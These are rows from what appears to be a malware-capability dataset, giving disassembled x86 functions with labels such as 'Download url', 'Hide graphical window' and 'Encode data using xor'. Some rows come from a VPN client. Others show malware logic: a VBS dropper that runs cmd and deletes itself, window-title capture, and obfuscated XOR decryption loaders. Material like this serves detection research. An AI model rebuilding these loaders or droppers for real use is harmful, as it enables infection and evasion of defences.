joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402050
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x40b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [0x40b3e4]
lea eax, [ebp - 0x98]
push str.sdwan.ini
push str._s.new
push 0x80
push eax
call fcn.00401710
push 0x408480
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
mov edx, dword [ebp - 0x120]
add esp, 0x1c
test edx, edx
jne 0x4020cb
push str.create_cfg_file_failed_
call fcn.00401750
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406188
mov esp, ebp
pop ebp
ret
lea esi, [edi + 0x4c]
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020d3
sub ecx, ebx
mov ebx, dword [sym.imp.WS2_32.dll_inet_ntop]
je 0x4020ed
push esi
push str.server_s_n
push edx
jmp 0x402119
mov eax, dword [edi + 8]
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x118]
push 0x80
push eax
lea eax, [ebp - 0x11c]
push eax
push 2
call ebx
push eax
push str.server_s_n
push dword [ebp - 0x120]
call fcn.004016e0
movzx eax, word [edi + 0xc]
add esp, 0xc
push eax
push str.port_u_n
push dword [ebp - 0x120]
call fcn.004016e0
add esp, 0xc
lea eax, [edi + 0x8c]
push eax
push str.username_s_n
push dword [ebp - 0x120]
call fcn.004016e0
add esp, 0xc
lea eax, [edi + 0xac]
push eax
push str.password_s_n
push dword [ebp - 0x120]
call fcn.004016e0
movzx eax, word [edi + 0x26]
add esp, 0xc
push eax
push str.mtu_u_n
push dword [ebp - 0x120]
call fcn.004016e0
movzx eax, byte [edi + 1]
add esp, 0xc
push eax
push str.encrypt_d_n
push dword [ebp - 0x120]
call fcn.004016e0
add esp, 0xc
push dword [edi + 0x13c]
push str.rtforce_d_n
push dword [ebp - 0x120]
call fcn.004016e0
add esp, 0xc
push dword [edi + 0x138]
push str.mode_d_n
push dword [ebp - 0x120]
call fcn.004016e0
add esp, 0xc
push str.rtdest
push dword [ebp - 0x120]
call fcn.004016e0
xor esi, esi
add esp, 8
cmp dword [edi + 0x240], esi
jle 0x40223d
nop dword [eax]
mov eax, dword [edi + esi*8 + 0x140]
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x14]
push 0x10
push eax
lea eax, [ebp - 0x11c]
push eax
push 2
call ebx
push dword [edi + esi*8 + 0x144]
push eax
test esi, esi
jne 0x402221
push str._s__d
jmp 0x402226
push str.__s__d
push dword [ebp - 0x120]
call fcn.004016e0
inc esi
add esp, 0x10
cmp esi, dword [edi + 0x240]
jl 0x4021f0
push 0x408518
push dword [ebp - 0x120]
call fcn.004016e0
push dword [ebp - 0x120]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0xc
push str.finish_load_sdwan_config_file
call fcn.00401750
add esp, 4
push 0
push str.sdwan.ini
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__access
add esp, 8
test eax, eax
jne 0x40228a
push str.sdwan.ini
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
lea eax, [ebp - 0x98]
push str.sdwan.ini
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00406188
mov esp, ebp
pop ebp
ret
Function at 0x4028e5
Capabilities:
Hide graphical window

Disassembly:
movzx eax, cx
add eax, 0xfffff05d
push esi
cmp eax, 7
ja case.0x4028de.4006
jmp dword [eax*4 + 0x40294c]
push 0
push 0x402880
push dword [0x40b3dc]
push 0x190
push dword [0x50b3ec]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov esi, eax
push 1
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, esi
pop esi
jmp fcn.00402630
pop esi
jmp fcn.00402440
push 0
push 0
push 0x10
push dword [0x40b3dc]
call dword [sym.imp.USER32.dll_SendMessageA]
pop esi
ret
push 1
push dword [0x40b3dc]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x40b3dc]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop esi
ret

Function at 0x402916
Capabilities:
Hide graphical window

Disassembly:
movzx eax, cx
add eax, 0xfffff05d
push esi
cmp eax, 7
ja case.0x4028de.4006
jmp dword [eax*4 + 0x40294c]
push 0
push 0x402880
push dword [0x40b3dc]
push 0x190
push dword [0x50b3ec]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov esi, eax
push 1
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, esi
pop esi
jmp fcn.00402630
pop esi
jmp fcn.00402440
push 0
push 0
push 0x10
push dword [0x40b3dc]
call dword [sym.imp.USER32.dll_SendMessageA]
pop esi
ret
push 1
push dword [0x40b3dc]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x40b3dc]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop esi
ret
Function at 0x403030
Capabilities:
Link many functions at runtime

Disassembly:
push edi
push 0xa00
push 0
push str.._wintun.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x403061
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Load_wintun.dll_failed__d
call fcn.00402ef0
add esp, 8
xor eax, eax
pop edi
ret
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WintunCreateAdapter
push edi
call esi
mov dword [0x50b900], eax
test eax, eax
je 0x4031c7
push str.WintunDeleteAdapter
push edi
call esi
mov dword [0x50b908], eax
test eax, eax
je 0x4031c7
push str.WintunDeletePoolDriver
push edi
call esi
mov dword [0x50b904], eax
test eax, eax
je 0x4031c7
push str.WintunEnumAdapters
push edi
call esi
mov dword [0x50b90c], eax
test eax, eax
je 0x4031c7
push str.WintunFreeAdapter
push edi
call esi
mov dword [0x50b960], eax
test eax, eax
je 0x4031c7
push str.WintunOpenAdapter
push edi
call esi
mov dword [0x50b91c], eax
test eax, eax
je 0x4031c7
push str.WintunGetAdapterLUID
push edi
call esi
mov dword [0x50b6a0], eax
test eax, eax
je 0x4031c7
push str.WintunGetAdapterName
push edi
call esi
mov dword [0x50b5ec], eax
test eax, eax
je 0x4031c7
push str.WintunSetAdapterName
push edi
call esi
mov dword [0x50b6a4], eax
test eax, eax
je 0x4031c7
push str.WintunGetRunningDriverVersion
push edi
call esi
mov dword [0x50b6ac], eax
test eax, eax
je 0x4031c7
push str.WintunSetLogger
push edi
call esi
mov dword [0x50b914], eax
test eax, eax
je 0x4031c7
push str.WintunStartSession
push edi
call esi
mov dword [0x50b954], eax
test eax, eax
je 0x4031c7
push str.WintunEndSession
push edi
call esi
mov dword [0x50b958], eax
test eax, eax
je 0x4031c7
push str.WintunGetReadWaitEvent
push edi
call esi
mov dword [0x50b5f4], eax
test eax, eax
je 0x4031c7
push str.WintunReceivePacket
push edi
call esi
mov dword [0x50b950], eax
test eax, eax
je 0x4031c7
push str.WintunReleaseReceivePacket
push edi
call esi
mov dword [0x50b918], eax
test eax, eax
je 0x4031c7
push str.WintunAllocateSendPacket
push edi
call esi
mov dword [0x50b69c], eax
test eax, eax
je 0x4031c7
push str.WintunSendPacket
push edi
call esi
mov dword [0x50b8fc], eax
test eax, eax
je 0x4031c7
pop esi
mov eax, edi
pop edi
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop esi
xor eax, eax
pop edi
ret
Function at 0x403680
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [0x40b004]
xor eax, esp
mov dword [esp + 8], eax
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 4], 0
je 0x4036ab
call fcn.004033d0
mov dword [edi + 4], 0
mov edx, dword [edi + 0x120]
cmp edx, 0xffffffff
je 0x403707
xor ecx, ecx
mov eax, 0x50b920
nop dword [eax]
cmp dword [eax], edx
je 0x4036d1
add eax, 0xc
inc ecx
cmp eax, 0x50b950
jl 0x4036c0
jmp 0x4036f5
lea eax, [ecx + ecx*2]
mov dword [eax*4 + 0x50b920], 0xffffffff
mov dword [eax*4 + 0x50b924], 0
mov dword [eax*4 + 0x50b928], 0
mov eax, dword [edi + 0x120]
cmp eax, 0xffffffff
je 0x403707
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
push 2
push 2
mov dword [esp + 0x1c], 1
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403729
mov eax, str.create_socket_failed_n
jmp 0x40374b
lea eax, [esp + 0x10]
push eax
push 0x8004667e
push ebx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x403765
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, str.Setting_NON_BLOCKING_socket_failed_n
push eax
call fcn.00402ef0
add esp, 4
mov dword [edi + 0x120], 0xffffffff
mov eax, str.sdwan_client_reinit_domain_socket_failed
jmp 0x4037cd
push str.sdwan_client_reinit_domain_socket_success
mov dword [edi + 0x120], ebx
call fcn.00402ef0
mov edx, dword [edi + 0x120]
add esp, 4
cmp edx, 0xffffffff
je 0x4037c8
xor ecx, ecx
mov eax, 0x50b920
nop word [eax + eax]
cmp dword [eax], 0xffffffff
je 0x4037a2
add eax, 0xc
inc ecx
cmp eax, 0x50b950
jl 0x403790
jmp 0x4037be
lea eax, [ecx + ecx*2]
mov dword [eax*4 + 0x50b920], edx
mov dword [eax*4 + 0x50b924], 0x404b40
mov dword [eax*4 + 0x50b928], edi
mov eax, str.sdwan_client_register_receive_event_success
cmp ecx, 4
jne 0x4037cd
mov eax, str.sdwan_client_register_receive_event_failed
push eax
call fcn.00402ef0
mov ecx, dword [esp + 0x18]
add esp, 4
cmp byte [edi + 0x4c], 0
sete al
add al, 2
mov byte [edi], al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00406188
mov esp, ebp
pop ebp
ret
Function at 0x403800
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7c
mov eax, dword [0x40b004]
xor eax, esp
mov dword [esp + 0x78], eax
push esi
mov esi, ecx
mov dword [esp + 0x1c], 0
push 8
mov edx, esi
mov dword [esp + 0x1c], 0
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x67452301
mov dword [esp + 0x10], 0xefcdab89
mov dword [esp + 0x14], 0x98badcfe
mov dword [esp + 0x18], 0x10325476
call fcn.00405960
push 2
lea edx, [esp + 0x74]
mov word [esp + 0x74], 0x776d
lea ecx, [esp + 0x10]
call fcn.00405960
mov edx, dword [esp + 0x20]
mov ecx, 0x78
mov eax, dword [esp + 0x24]
mov dword [esp + 0x6c], edx
shr edx, 3
mov dword [esp + 0x70], eax
and edx, 0x3f
sub ecx, edx
mov eax, 0x38
sub eax, edx
cmp edx, 0x38
mov edx, 0x40b038
cmovae eax, ecx
lea ecx, [esp + 0x10]
push eax
call fcn.00405960
push 8
lea edx, [esp + 0x74]
lea ecx, [esp + 0x18]
call fcn.00405960
movups xmm0, xmmword [esp + 0x18]
mov ecx, dword [esp + 0x8c]
lea eax, [esi + 0x18]
add esp, 0x10
movups xmmword [esi + 8], xmm0
pop esi
xor ecx, esp
call fcn.00406188
mov esp, ebp
pop ebp
ret

Function at 0x4038e0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9c
mov eax, dword [0x40b004]
xor eax, esp
mov dword [esp + 0x98], eax
push esi
mov esi, ecx
mov dword [esp + 0x1c], 0
push 8
mov edx, esi
mov dword [esp + 0x1c], 0
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x67452301
mov dword [esp + 0x10], 0xefcdab89
mov dword [esp + 0x14], 0x98badcfe
mov dword [esp + 0x18], 0x10325476
call fcn.00405960
push 2
lea edx, [esp + 0x74]
mov word [esp + 0x74], 0x776d
lea ecx, [esp + 0x10]
call fcn.00405960
mov edx, dword [esp + 0x20]
mov ecx, 0x78
mov eax, dword [esp + 0x24]
mov dword [esp + 0x6c], edx
shr edx, 3
mov dword [esp + 0x70], eax
and edx, 0x3f
sub ecx, edx
mov eax, 0x38
sub eax, edx
cmp edx, 0x38
mov edx, 0x40b038
cmovae eax, ecx
lea ecx, [esp + 0x10]
push eax
call fcn.00405960
push 8
lea edx, [esp + 0x74]
lea ecx, [esp + 0x18]
call fcn.00405960
movups xmm0, xmmword [esp + 0x18]
add esp, 0x10
lea eax, [esp + 0x7c]
add esi, 8
mov edx, 0xc
movups xmmword [esp + 0x7c], xmm0
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x4039da
add esi, 4
add eax, 4
sub edx, 4
jae 0x4039b1
mov eax, 1
pop esi
mov ecx, dword [esp + 0x98]
xor ecx, esp
call fcn.00406188
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x9c]
xor eax, eax
pop esi
xor ecx, esp
call fcn.00406188
mov esp, ebp
pop ebp
ret
Function at 0x4039f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x40b004]
xor eax, ebp
mov dword [ebp - 8], eax
movzx eax, word [ecx + 0xc]
push ebx
push esi
mov esi, dword [ecx + 8]
mov ebx, edx
push edi
mov edi, dword [ecx + 0x120]
mov ecx, 2
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
mov word [ebp - 0x16], ax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp + 8]
mov dword [ebp - 0x14], esi
push ebx
push edi
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
jne 0x403a73
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x2733
je 0x403a73
call esi
push eax
push str.Sendto_error_code__d
call fcn.00402ef0
add esp, 8
cmp dword [ebp + 8], 0
je 0x403a73
push str.domain_socket_send_failed_n
call fcn.00402ef0
add esp, 4
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406188
mov esp, ebp
pop ebp
ret
Function at 0x404c00
Capabilities:
Get routing table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x40b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x244
push 0
push 0x50b6b0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
or esi, 0xffffffff
or ebx, 0xffffffff
push 1
push eax
push 0
call dword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
cmp eax, 0x7a
jne 0x404e09
push dword [ebp - 0x1c]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov edi, eax
lea eax, [ebp - 0x1c]
push 1
push eax
push edi
call dword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
test eax, eax
jne 0x404e09
test edi, edi
je 0x404e09
mov eax, dword [edi]
xor ecx, ecx
mov dword [ebp - 0x18], eax
test eax, eax
je 0x404de9
mov edx, dword [ebp - 0x18]
lea eax, [edi + 0x28]
nop dword [eax + eax]
cmp dword [eax - 0x24], 0
jne 0x404ca9
cmp dword [eax - 0x20], 0
jne 0x404ca9
mov edx, dword [eax]
cmp edx, esi
jae 0x404ca6
mov ebx, ecx
mov esi, edx
mov edx, dword [ebp - 0x18]
inc ecx
add eax, 0x38
cmp ecx, edx
jb 0x404c90
cmp ebx, 0xffffffff
je 0x404de9
lea eax, [ebx*8]
sub eax, ebx
push 0x10
lea esi, [edi + eax*8]
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_ntop]
push dword [esi + 0x14]
lea eax, [ebp - 0x14]
push eax
push str.Found_default_gateway__s_interface__d
call fcn.00402ef0
mov eax, dword [esi + 0x14]
add esp, 0xc
mov dword [0x50b7d8], eax
mov eax, dword [esi + 0x10]
mov dword [0x50b7d4], eax
mov eax, dword [esi + 0x28]
push edi
mov dword [0x50b7dc], eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov eax, 0x50b5f8
xor edi, edi
nop dword [eax + eax]
cmp byte [eax], 0
je 0x404d32
add eax, 0x28
inc edi
cmp eax, 0x50b698
jl 0x404d20
jmp 0x404da8
push str.clnt
lea esi, [edi + edi*4]
lea eax, [esi*8 + 0x50b5f8]
push 6
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
mov dword [esi*8 + 0x50b600], 1
mov dword [esi*8 + 0x50b604], 0
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
mov dword [esi*8 + 0x50b608], eax
mov dword [esi*8 + 0x50b60c], edx
mov dword [esi*8 + 0x50b61c], 0x403bf0
mov dword [esi*8 + 0x50b618], 0x50b6b0
mov dword [esi*8 + 0x50b610], 0
mov dword [esi*8 + 0x50b614], 0
cmp edi, 4
jne 0x404db4
push str.sdwan_register_timer_failed
jmp 0x404e0e
push str.sdwan_client_initial_success
call fcn.00402ef0
mov eax, 0xffff
mov byte [0x50b6b0], 1
mov word [0x50b6d2], ax
add esp, 4
mov eax, 0x50b6b0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406188
mov esp, ebp
pop ebp
ret
movzx eax, word [0x50b6d2]
push eax
push 0xffffffffffffffff
push str.could_not_found_defroute__d_or_tunnel_interface__d
call fcn.00402ef0
add esp, 0xc
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x404e13
push str.get_routing_table_failed
call fcn.00402ef0
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
pop edi
pop esi
pop ebx
call fcn.00406188
mov esp, ebp
pop ebp
ret
Function at 0x406a93
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406ad2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406ad2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406ad2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406ad2
cmp dword [ecx + 0x74], 0xe
jbe 0x406ad2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40d7ff
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00412850
mov esi, 0x475338
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.lmbsywl
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.004136f8
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d85f
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041b978
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041bc5e
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea eax, [ebp - 0x78]
push eax
push 0x466608
push 0x466f88
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040431d
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.00401f86
push 0x467130
push 0x467134
lea ecx, [ebp - 0xc0]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040325d
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0xa8]
call fcn.00401f09
lea ecx, [ebp - 0xc0]
call fcn.00401f09
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00409052
push edi
lea ecx, [ebp - 0x60]
call fcn.00401f04
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c3f1
pop ecx
pop ecx
test al, al
je 0x40d9ca
push edi
mov eax, 0x466468
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401f04
push eax
push 0x466108
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40d9ca
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401f09
lea ecx, [ebp - 0x60]
call fcn.00401f09
lea ecx, [ebp - 0x78]
call fcn.00401f09
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41b380
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.004020df
xor esi, esi
push 0xffff
mov dword [esp + 0x14], esi
call fcn.0043bd51
pop ecx
push esi
push esi
push esi
push 1
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push closesocket
push esi
push esi
mov ebp, eax
push str.nhtmnoilulyfpxkftnet_json.gp
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0xffff
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x41b40c
push ecx
push edi
lea ecx, [esp + 0x20]
call fcn.004020b7
push eax
mov ecx, ebx
call fcn.00403376
lea ecx, [esp + 0x18]
call fcn.00401fd8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0x41b415
test ecx, ecx
jne 0x41b3c5
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
push edi
call fcn.0043bd4c
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x41b9f6
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x41ba8d
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x41ba8d
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x41ba84
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.0043bd51
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x41ba84
push 8
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.00436e90
push esi
push edi
push dword [ebx]
call fcn.00436e90
add esp, 0x18
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41ba96
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.00436e90
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.0040417e
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x124c6e7f
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4e7d159a
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10001000
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jbe 0x1000101a
mov ecx, dword [esp + 8]
mov al, 0x11
nop
mov dl, byte [ecx]
xor al, dl
mov byte [ecx], al
inc ecx
dec esi
jne 0x10001010
pop esi
ret

Function at 0x100011e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x100011ef
pop dword [ebp - 0x34]
mov eax, 0x100011ef
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x393d5
push 0
mov eax, 0x8fa3f87a
sub eax, 0x7f9f076a
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x753a8ea1
sub ecx, 0x753a456d
mov edi, eax
mov edx, 0x2179b636
add edx, 0xee8cc9ca
add edx, dword [ebp - 0x34]
mov esi, 0xaf17d0ec
add esi, 0x3ee4e2f6
xor dword [ebp - 4], ecx
mov ebx, dword [edx]
xor dword [ebp - 4], ebx
xor ebx, esi
add dword [ebp - 0x20], 0x542d7b1a
mov dword [edi], ebx
add dword [ebp - 0x30], 0xab016b0d
add edi, 0xf0fa755a
add edi, 0xf058aaa
add edx, 0x5de3f3b8
add edx, 0xa21c0c4c
loop 0x10001249
add eax, 0xf803e4f1
sub eax, 0xf802cd4e
mov ebx, eax
add eax, 0x54b92583
sub eax, 0x54b9257e
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret